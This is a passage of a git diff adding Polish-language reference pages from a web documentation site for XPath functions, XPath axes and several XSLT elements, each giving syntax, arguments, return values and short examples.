+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><i><code>stóg siana</code></i>
+</dt><dd>Oceniany łańcuch znaków. Zostanie zwrócona część tego łańcucha. </dd></dl>
+<dl><dt><i><code>igła</code></i>
+</dt><dd>Szukany podciąg. Zostanie zwrócone wszystko przed pierwszym wystąpieniem <i><code>igła</code></i> w łańcuchu <i><code>stóg siana</code></i>.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Łańcuch znaków.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<table class="standard-table"> <tbody><tr> <th>Przykład XPath</th> <th>Wyświetli</th> </tr> <tr> <td><code>substring-before('aa-bb','-')</code></td> <td><code>aa</code></td> </tr> <tr> <td><code>substring-before('aa-bb','a')</code></td> <td><code>(empty string)</code></td> </tr> <tr> <td><code>substring-before('aa-bb','b')</code></td> <td><code>aa-</code></td> </tr> <tr> <td><code>substring-before('aa-bb','q')</code></td> <td>(pusty łańcuch znaków)</td> </tr>
+</tbody></table>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-substring-before" class="external">XPath 1.0 4.2</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/substring-before", "fr": "fr/XPath/Fonctions/substring-before", "ja": "ja/XPath/Functions/substring-before" } ) }}
diff --git a/files/pl/web/xpath/funkcje/substring/index.html b/files/pl/web/xpath/funkcje/substring/index.html
new file mode 100644
index 0000000000..4ed67fda88
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/substring/index.html
@@ -0,0 +1,40 @@
+---
+title: substring
+slug: Web/XPath/Funkcje/substring
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/substring
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>substring</code> zwraca część podanego łańcucha znaków. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">substring( <i>łańcuch</i> , <i>start</i> [, <i>długość</i>] )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><i><code>ciąg</code></i> </dt><dd>Łańcuch znaków do oceny. </dd></dl>
+<dl><dt><i><code>start</code></i>
+</dt><dd>Pozycja wewnątrz <i><code>łańcuch</code></i>, gdzie rozpoczyna się podciąg
+</dd></dl>
+<dl><dt><i><code>długość</code></i> (opcjonalny)
+</dt><dd>Długość podciągu. Jeśli pominięty, zwrócony łańcuch znaków będzie zawierał każdy znak z zakresu od pozycji startowej do końca łańcucha.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Łańcuch znaków.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<p>Podobnie jak w innych funkcjach XPath, pozycja nie jest liczona od zera. Pierwszy znak w tym ciągu ma pozycję 1, nie 0.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-substring" class="external">XPath 1.0 4.2</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/substring", "es": "es/XPath/Funciones/substring", "fr": "fr/XPath/Fonctions/substring", "ja": "ja/XPath/Functions/substring" } ) }}
diff --git a/files/pl/web/xpath/funkcje/sum/index.html b/files/pl/web/xpath/funkcje/sum/index.html
new file mode 100644
index 0000000000..e0fac8e7bc
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/sum/index.html
@@ -0,0 +1,36 @@
+---
+title: sum
+slug: Web/XPath/Funkcje/sum
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/sum
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>sum</code> zwraca liczbę, która jest sumą wartości liczbowych każdego wierzchołka w podanym zbiorze wierzchołków. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">sum( <i>zbiór_wierzchołków</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><i><code>zbiór_wierzchołków</code></i>
+</dt><dd>Oceniany zbiór wierzchołków. Każdy wierzchołek w tym zbiorze wierzchołków jest oceniany tak jak gdyby został przekazany do funkcji <code><a href="pl/XPath/Funkcje/number">number()</a></code>, zaś wynikiem jest suma zwracanych liczb.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Liczbę.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<p><i>(Brak)</i>
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-sum" class="external">XPath 1.0 4.3</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/sum", "fr": "fr/XPath/Fonctions/sum", "ja": "ja/XPath/Functions/sum" } ) }}
diff --git a/files/pl/web/xpath/funkcje/system-property/index.html b/files/pl/web/xpath/funkcje/system-property/index.html
new file mode 100644
index 0000000000..7faf04e266
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/system-property/index.html
@@ -0,0 +1,36 @@
+---
+title: system-property
+slug: Web/XPath/Funkcje/system-property
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/system-property
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>system-property</code> zwraca obiekt reprezentujący daną własność systemową.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">system-property( <i>name</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><i><code>name</code></i> (opcjonalny)
+</dt><dd>Nazwa własności systemowej. Argument musi być łańcuchem znaków będącym poprawną wartością QName. QName jest rozwijany do nazwy za pomocą deklaracji przestrzeni nazw w zasięgu wyrażenia. Funkcja własności systemowej zwraca obiekt reprezentujący wartość własności systemowej identyfikowanej za pomocą nazwy. Jeśli podana własność systemowa nie istnieje, powinien zostać zwrócony pusty łańcuch znaków.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Obiekt reprezentujący daną własność systemową.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> xsl:version, liczba podająca wersję XSLT zaimplementowaną przez procesor; dla procesorów XSLT implementujących wersję XSLT określoną przez ten dokument zwracana jest wartość 1.0
+</li><li> xsl:vendor, łańcuch znaków identyfikujący dystrybutora procesora XSLT
+</li><li> xsl:vendor-url, łańcuch znaków zawierający adres URL identyfikujący dystrybutora procesora XSLT; zazwyczaj jest to strona główna (domowa) dystrybutora.
+</li></ul>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-system-property" class="external">XSLT 1.0 12.4</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XPath/Functions/system-property", "fr": "fr/XPath/Fonctions/system-property" } ) }}
diff --git a/files/pl/web/xpath/funkcje/translate/index.html b/files/pl/web/xpath/funkcje/translate/index.html
new file mode 100644
index 0000000000..7627d29300
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/translate/index.html
@@ -0,0 +1,86 @@
+---
+title: translate
+slug: Web/XPath/Funkcje/translate
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/translate
+---
+<p>{{ XsltRef() }}</p>
+
+<p><br>
+ Funkcja <code>translate</code> ocenia ciąg i zbiór znaków do przetłumaczenia i zwraca przetłumaczony łańcuch znaków.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">translate( <em><code>string</code></em>,<em> abc</em>, <em>XYZ</em> )
+</pre>
+
+<h3 id="Argumenty" name="Argumenty">Argumenty</h3>
+
+<dl>
+ <dt><em><code>string</code></em></dt>
+ <dd>Oceniany łańcuch znaków.</dd>
+</dl>
+
+<dl>
+ <dt><em><code>abc</code></em></dt>
+ <dd>Ciąg znaków, które zostaną zastąpione.</dd>
+</dl>
+
+<dl>
+ <dt><em><code>XYZ</code></em></dt>
+ <dd>Ciąg znaków, które użyte zostaną do zastąpienia. Pierwszy znak w <em><code>XYZ</code></em> zastąpi każde wystąpienie pierwszego znaku w <em><code>abc</code></em>, które pojawi się w<em><code> </code></em> <em><code>string</code></em> .</dd>
+</dl>
+
+<h3 id="Zwraca" name="Zwraca">Zwraca</h3>
+
+<p>Przetłumaczony łańcuch znaków.</p>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>W XPath funkcja <code>translate</code> nie jest wystarczającym rozwiązaniem w przypadku konwersji we wszystkich językach. Przyszłe wersje XPath mogą dostarczyć dodatkowych funkcji dla przypadku konwersji.</p>
+
+<p>Jednakże jest to obecnie rozwiązanie najbliższe funkcji, która potrafi skonwertować łańcuch znaków do małych lub dużych znaków.</p>
+
+<p>Przykład</p>
+
+<pre class="eval">&lt;xsl:value-of select="translate('The quick brown fox.', 'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'" /&gt;
+</pre>
+
+<p>Otrzymamy</p>
+
+<pre class="eval">THE QUICK BROWN FOX.
+</pre>
+
+<ul>
+ <li>Jeśli<em><code> abc</code></em> jest dłuższy niż<em><code> XYZ</code></em>, to każde wystąpienie znaków w<em><code> abc</code></em>, które nie ma odpowiadającego znaku w<code><em> </em></code><em><code>XYZ</code></em>, zostanie usunięte.</li>
+</ul>
+
+<p>Przykład</p>
+
+<pre class="eval">&lt;xsl:value-of select="translate('The quick brown fox.', 'brown', 'red'" /&gt;
+</pre>
+
+<p>Otrzymamy</p>
+
+<pre class="eval">The quick red fox.
+</pre>
+
+<ul>
+ <li>Jeśli<em><code> XYZ</code></em> zawiera więcej znaków niż <em><code>abc</code></em>, dodatkowe znaki są ignorowane.</li>
+</ul>
+
+<h3 id="Definicja" name="Definicja">Definicja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-translate">XPath 1.0 4.2</a></p>
+
+<h3 id="Gecko" name="Gecko">Gecko</h3>
+
+<p>Obsługuje.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/XPath/Functions/translate", "fr": "fr/XPath/Fonctions/translate", "ja": "ja/XPath/Functions/translate" } ) }}</p>
diff --git a/files/pl/web/xpath/funkcje/true/index.html b/files/pl/web/xpath/funkcje/true/index.html
new file mode 100644
index 0000000000..03ac9c380c
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/true/index.html
@@ -0,0 +1,30 @@
+---
+title: 'true'
+slug: Web/XPath/Funkcje/true
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/true
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>true</code> zwraca wartość logiczną <i>prawda</i>.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">true()
+</pre>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Wartość logiczną <code>true</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-true" class="external">XPath 1.0 4.3</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/true", "es": "es/XPath/Funciones/true", "fr": "fr/XPath/Fonctions/true", "ja": "ja/XPath/Functions/true" } ) }}
diff --git a/files/pl/web/xpath/funkcje/unparsed-entity-url/index.html b/files/pl/web/xpath/funkcje/unparsed-entity-url/index.html
new file mode 100644
index 0000000000..57a6a1b41f
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/unparsed-entity-url/index.html
@@ -0,0 +1,29 @@
+---
+title: unparsed-entity-url
+slug: Web/XPath/Funkcje/unparsed-entity-url
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/unparsed-entity-url
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>unparsed-entity-url()</code> zwraca adres URI nieprzetworzonej encji o podanej nazwie. Są to nie XML-owe dane odwołujące się z DTD dokumentu źródłowego. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">string unparsed-entity-url(łańcuch)
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<p>Nazwa nieprzetworzonej encji. Jeśli argument nie jest łańcuchem znaków, to jest on konwertowany zgodnie z zasadami funkcji string(). Nazwa powinna być nazwą XML.
+</p>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>URI encji nieprzetworzonej encji pobranej z DTD, jeśli istnieje. W przeciwnym wypadku zwracany jest pusty łańcuch znaków.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-unparsed-entity-uri" class="external">XSLT 1.0 12.4</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Nie obsługuje.
+</p>{{ languages( { "en": "en/XPath/Functions/unparsed-entity-url", "fr": "fr/XPath/Fonctions/unparsed-entity-url" } ) }}
diff --git a/files/pl/web/xpath/index.html b/files/pl/web/xpath/index.html
new file mode 100644
index 0000000000..bb5353750f
--- /dev/null
+++ b/files/pl/web/xpath/index.html
@@ -0,0 +1,14 @@
+---
+title: XPath
+slug: Web/XPath
+tags:
+ - Wszystkie_kategorie
+ - XPath
+translation_of: Web/XPath
+---
+<p>XPath to inaczej XML Path Language (Język ścieżek XML). Język ten używa składni nie-XML-owej, pozwalając w elastyczny sposób wskazywać różne części dokumentu <a href="/pl/XML" title="pl/XML">XML</a>. Ponadto może być używany do sprawdzania, czy wskazane węzły dokumentu pasują do wzorca.</p>
+<p>XPath jest głównie używany w <a href="/pl/XSLT" title="pl/XSLT">XSLT</a>, ale może być także wykorzystywany do znacznie bardziej wymagających zadań nawigacji po <a href="/pl/DOM" title="pl/DOM">DOM</a> dowolnego języka bazowanego na XML-u, takiego jak HTML czy <a href="/pl/XUL" title="pl/XUL">XUL</a>, zamiast opierania się na metodzie {{ Domxref("document.getElementById") }}, własnościach {{ Domxref("element.childNodes") }}, itp. <span>The following is vague: This is especially useful within extensions, particularly regarding to <a href="/pl/XUL_Overlays">overlays</a>.</span></p>
+<p>XPath używa notacji ścieżkowej (ang. <em>path notation</em>) (tak jak adresy URL) do nawigacji po hierarchicznej strukturze dokumentu XML. Używa do tego nie-XML-owej składni, dzięki czemu może być stosowany w adresach URI oraz wartościach atrybutów XML.</p>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Dokumentacja"><a href="/Special:Tags?tag=XPath&amp;language=pl" title="Special:Tags?tag=XPath&amp;language=pl">Dokumentacja</a></h4> <dl> <dt><a href="/pl/Wprowadzenie_do_korzystania_z_XPath_w_języku_JavaScript" title="pl/Wprowadzenie_do_korzystania_z_XPath_w_języku_JavaScript">Wprowadzenie do korzystania z XPath w języku JavaScript</a></dt> <dd><small>Zastosowanie języka XPath poza szablonami XSLT.</small></dd> </dl> <dl> <dt><a href="/pl/XPath/Osie" title="pl/XPath/Osie">XPath:Osie</a></dt> <dd><small>Lista definicji osi wierzchołków w specyfikacji XPath. Osie są użyte do opisu relacji między węzłami.</small></dd> </dl> <dl> <dt><a href="/pl/XPath/Funkcje" title="pl/XPath/Funkcje">XPath:Funkcje</a></dt> <dd><small>Lista i opis funkcji XPath i dodawanie określonego XSLT do XPath.</small></dd> </dl> <dl> <dt><a href="/pl/Transformacje_XML_z_XSLT" title="pl/Transformacje_XML_z_XSLT">Transformacje XML z XSLT</a></dt> <dd><small>XSLT używa XPath do adresowania segmentów kodu w przetwarzanym dokumencie XML. </small></dd> </dl> <dl> <dt><a class="external" href="http://www.topxml.com/xsl/tutorials/intro/">Tutorial XSLT &amp; XPath</a></dt> <dd><small>Podręcznik TopXML XSLT przedstawia podstawy koncepcji XSLT i XPath, ich składni i zastosowania.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.xml.com/pub/a/2000/08/holman/">Czym jest XSLT?</a></dt> <dd><small>Jest to rozbudowane wprowadzenie do XSLT i XPath, które nie wymaga od czytelnika wiedzy w zakresie technologii, pozwala nauczyć się tych technologii od podstaw, opisując ich kontekst, strukturę, koncepcję i terminologię.</small></dd> </dl> <p><span><a href="/Special:Tags?tag=XPath&amp;language=pl" title="Special:Tags?tag=XPath&amp;language=pl">Pokaż wszystkie...</a></span></p> </td> <td> <h4 id="Narz.C4.99dzia">Narzędzia</h4> <dl> <dd><a class="external" href="http://b-cage.net/code/web/xpath-evaluator.html">Online XPath evaluator</a></dd> </dl> <dl> <dd><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1095">XPath Checker</a></dd> <dd><small>An interactive editor for XPath expressions (FireFox Add-On).</small></dd> </dl> <dl> <dd><a class="external" href="http://www.sketchpath.com/">SketchPath</a></dd> <dd><small>A Graphical XPath Builder/Debugger(.NET).</small></dd> </dl> <h4 id="Powi.C4.85zane_tematy">Powiązane tematy</h4> <dl> <dd><a href="/pl/XSLT" title="pl/XSLT">XSLT</a>, <a href="/pl/XML" title="pl/XML">XML</a>, <a href="/pl/DOM" title="pl/DOM">DOM</a></dd> </dl> <p> </p> </td> </tr> </tbody>
+</table>
+<p>{{ languages( { "cs": "cs/XPath", "en": "en/XPath", "es": "es/XPath", "fr": "fr/XPath", "ja": "ja/XPath", "ko": "ko/XPath", "zh-cn": "cn/XPath" } ) }}</p>
diff --git a/files/pl/web/xpath/osie/index.html b/files/pl/web/xpath/osie/index.html
new file mode 100644
index 0000000000..2822465e16
--- /dev/null
+++ b/files/pl/web/xpath/osie/index.html
@@ -0,0 +1,44 @@
+---
+title: Osie
+slug: Web/XPath/Osie
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XPath
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Axes
+---
+<p>
+{{ XsltRef() }}
+</p><p>Znajduje się tu trzynaście różnych osi ze specyfikacji <a href="pl/XPath">XPath</a>. Oś reprezentuje relację z wierzchołkiem kontekstu i używana jest, aby odnaleźć wierzchołki względne do danego wierzchołka w drzewie. Poniżej umieszczono niezwykle krótki opis trzynastu dostępnych osi i stopień ich obsługi dostępny w <a href="pl/Gecko">Gecko</a>.
+</p><p>Aby uzyskać więcej informacji na temat zastosowania XPath, zobacz fragment <a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej">Przeczytaj więcej</a> na końcu dokumentu <a href="pl/Transformacje_XML_z_XSLT">Transformacje XML z XSLT</a>.
+</p>
+<dl><dt> <a href="pl/XPath/Osie/ancestor">ancestor</a> (<i>przodek</i>)
+</dt><dd> Wskazuje wszystkich przodków wierzchołka kontekstu, zaczynając od wierzchołka-rodzica i podążając do wierzchołka głównego.
+</dd><dt> <a href="pl/XPath/Osie/ancestor-or-self">ancestor-or-self</a> (<i>przodek lub bieżący</i>)
+</dt><dd> Wskazuje wierzchołek kontekstu i wszystkich jego przodków, włączając wierzchołek główny. </dd><dt> <a href="pl/XPath/Osie/attribute">attribute</a> (<i>atrybuty</i>)
+</dt><dd> Wskazuje atrybutu wierzchołka kontekstu. Tylko elementy posiadają atrybuty. Oś ta może być skrócona do znaku at (<code>@</code>).
+</dd><dt> <a href="pl/XPath/Osie/child">child</a> (<i>dziecko</i>)
+</dt><dd> Wskazuje dzieci wierzchołka kontekstu. Jeśli wyrażenie XPath nie określa osi, to oś child jest rozumiana domyślnie. Ponieważ tylko wierzchołek główny lub wierzchołki elementu posiadają dzieci, każde inne użycie nie zaznaczy niczego.
+</dd><dt> <a href="pl/XPath/Osie/descendant">descendant</a> (<i>potomek</i>)
+</dt><dd> Wskazuje wszystkie dzieci wierzchołka kontekstu, wszystkie ich dzieci i tak dalej. Wierzchołki atrybutu i przestrzeni nazw <b>nie</b> są włączone - rodzic (<code>parent</code>) wierzchołka <code>attribute</code> jest wierzchołkiem elementu, ale wierzchołki <code>attribute</code> nie są dziećmi ich rodziców.
+</dd><dt> <a href="pl/XPath/Osie/descendant-or-self">descendant-or-self</a> (<i>potomek lub bieżący</i>)
+</dt><dd> Wskazuje wierzchołek kontekstu i wszystkich jego potomków. Wierzchołki atrybutu i przestrzeni nazw <b>nie</b> są włączone - rodzic (<code>parent</code>) wierzchołka <code>attribute</code> jest wierzchołkiem elementu, ale wierzchołki <code>attribute</code> nie są dziećmi ich rodziców. </dd><dt> <a href="pl/XPath/Osie/following">following</a> (<i>następujący</i>)
+</dt><dd> Wskazuje wszystkie wierzchołki, które pojawiają się za wierzchołkiem kontekstu, za wyjątkiem wierzchołków <code>descendant</code>, <code>attribute</code> i <code>namespace</code>.
+</dd><dt> <a href="pl/XPath/Osie/following-sibling">following-sibling</a> (<i>następujący siostrzany</i>)
+</dt><dd> Wskazuje wszystkie wierzchołki posiadające tego samego rodzica co wierzchołek kontekstu i pojawiające się przed wierzchołkiem kontekstu w dokumencie źródłowym.
+</dd><dt> <a href="pl/XPath/Osie/namespace">namespace</a> <i>(przestrzeń nazw, nieobsługiwana)</i>
+</dt><dd> Wskazuje wszystkie wierzchołki znajdujące się w zasięgu wierzchołka kontekstu. W tym przypadku, wierzchołek kontekstu musi być wierzchołkiem elementu. </dd><dt> <a href="pl/XPath/Osie/parent">parent</a> (<i>rodzic</i>)
+</dt><dd> Wskazuje pojedynczy wierzchołek będący rodzicem wierzchołka kontekstu. Może być skrócona do dwóch kropek (<code>..</code>).
+</dd><dt> <a href="pl/XPath/Osie/preceding">preceding</a> (<i>poprzedzający</i>)
+</dt><dd> Wskazuje wszystkie wierzchołki poprzedzające wierzchołek kontekstu w dokumencie, za wyjątkiem wierzchołków <code>ancestor</code>, <code>attribute</code> i <code>namespace</code>.
+</dd><dt> <a href="pl/XPath/Osie/preceding-sibling">preceding-sibling</a> (<i>poprzedzający siostrzany</i>)
+</dt><dd> Wskazuje wszystkie wierzchołki posiadające tego samego rodzica co wierzchołek kontekstu i pojawiające się przed wierzchołkiem kontekstu w dokumencie źródłowym. </dd><dt> <a href="pl/XPath/Osie/self">self</a> (<i>bieżący</i>)
+</dt><dd> Wskazuje sam wierzchołek kontekstu. Może być skrócona do pojedynczej kropki (<code>.</code>).
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Axes", "es": "es/XPath/Ejes", "fr": "fr/XPath/Axes", "ja": "ja/XPath/Axes", "zh-cn": "cn/XPath/Axes" } ) }}
diff --git a/files/pl/web/xslt/apply-imports/index.html b/files/pl/web/xslt/apply-imports/index.html
new file mode 100644
index 0000000000..5f8b4296f7
--- /dev/null
+++ b/files/pl/web/xslt/apply-imports/index.html
@@ -0,0 +1,30 @@
+---
+title: apply-imports
+slug: Web/XSLT/apply-imports
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/apply-imports
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:apply-imports&gt;</code> jest elementem dosyć tajemniczym, używanym zazwyczaj w złożonych arkuszach. Pierwszeństwo importu wymaga, aby zasady szablonu w arkuszach głównych posiadały większą ważność niż zasady szablonu w arkuszach importowanych. Jednak czasami użyteczna jest możliwość zmuszenia procesora do użycia zasady szablonu z arkusza importowanego (o niższej ważności) niż równoważnej jej zasady z arkusza głównego.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:apply-imports/&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 5.6.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/apply-imports", "es": "es/XSLT/apply-imports", "fr": "fr/XSLT/apply-imports" } ) }}
diff --git a/files/pl/web/xslt/apply-templates/index.html b/files/pl/web/xslt/apply-templates/index.html
new file mode 100644
index 0000000000..8165fda910
--- /dev/null
+++ b/files/pl/web/xslt/apply-templates/index.html
@@ -0,0 +1,35 @@
+---
+title: apply-templates
+slug: Web/XSLT/apply-templates
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/apply-templates
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:apply-templates&gt;</code> zaznacza zbiór węzłów w drzewie wejściowym i informuje procesor, aby zastosował do nich odpowiedni szablon.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:apply-templates select=WYRAZENIE mode=NAZWA&gt;
+ &lt;xsl:with-param&gt; [opcjonalny]
+ &lt;xsl:sort&gt; [opcjonalny]
+&lt;/xsl:apply-templates&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>select</code>
+</dt><dd>Używa wyrażenia XPath do określenia, które węzły mają zostać przetworzone. Gwiazdka (<code>*</code>) zaznacza cały zbiór węzłów. Jeśli ten atrybut nie jest ustawiony, zaznaczone są wszystkie węzły-dzieci obecnego węzła.
+</dd><dt><code>mode</code>
+</dt><dd>Wprowadza rozróżnienie, jeśli istnieje wiele sposobów zdefiniowanego przetwarzania tego samego węzła.
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu. </p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT sekcja 5.4.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/apply-templates", "es": "es/XSLT/apply-templates", "fr": "fr/XSLT/apply-templates" } ) }}
diff --git a/files/pl/web/xslt/attribute-set/index.html b/files/pl/web/xslt/attribute-set/index.html
new file mode 100644
index 0000000000..c936ae76dc
--- /dev/null
+++ b/files/pl/web/xslt/attribute-set/index.html
@@ -0,0 +1,35 @@
+---
+title: attribute-set
+slug: Web/XSLT/attribute-set
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/attribute-set
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:attribute-set&gt;</code> tworzy nazwany zbiór atrybutów, który może być zastosowany jako całość do dokumentu wyjściowego w sposób podobny do stylów w CSS.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:attribute-set name=NAZWA use-attribute-sets=LISTA-NAZW&gt;
+ &lt;xsl:attribute&gt;
+&lt;/xsl:attribute-set&gt;</pre>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>name</code>
+</dt><dd>Określa nazwę zbioru atrybutów. Musi być poprawną wartością QName.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>use-attribute-sets</code>
+</dt><dd>Buduje zbiór atrybutów z innego zbioru atrybutów. Nazwy tych zbiorów muszą być oddzielone za pomocą białych znaków (whitespace) i nie mogą bezpośrednio lub pośrednio osadzać się nawzajem.
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Element najwyższego poziomu, musi być dzieckiem <code>&lt;xsl:stylesheet&gt;</code> lub <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 7.1.4.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/attribute-set", "es": "es/XSLT/attribute-set", "fr": "fr/XSLT/attribute-set" } ) }}
diff --git a/files/pl/web/xslt/attribute/index.html b/files/pl/web/xslt/attribute/index.html
new file mode 100644
index 0000000000..aa3c94dca5
--- /dev/null
+++ b/files/pl/web/xslt/attribute/index.html
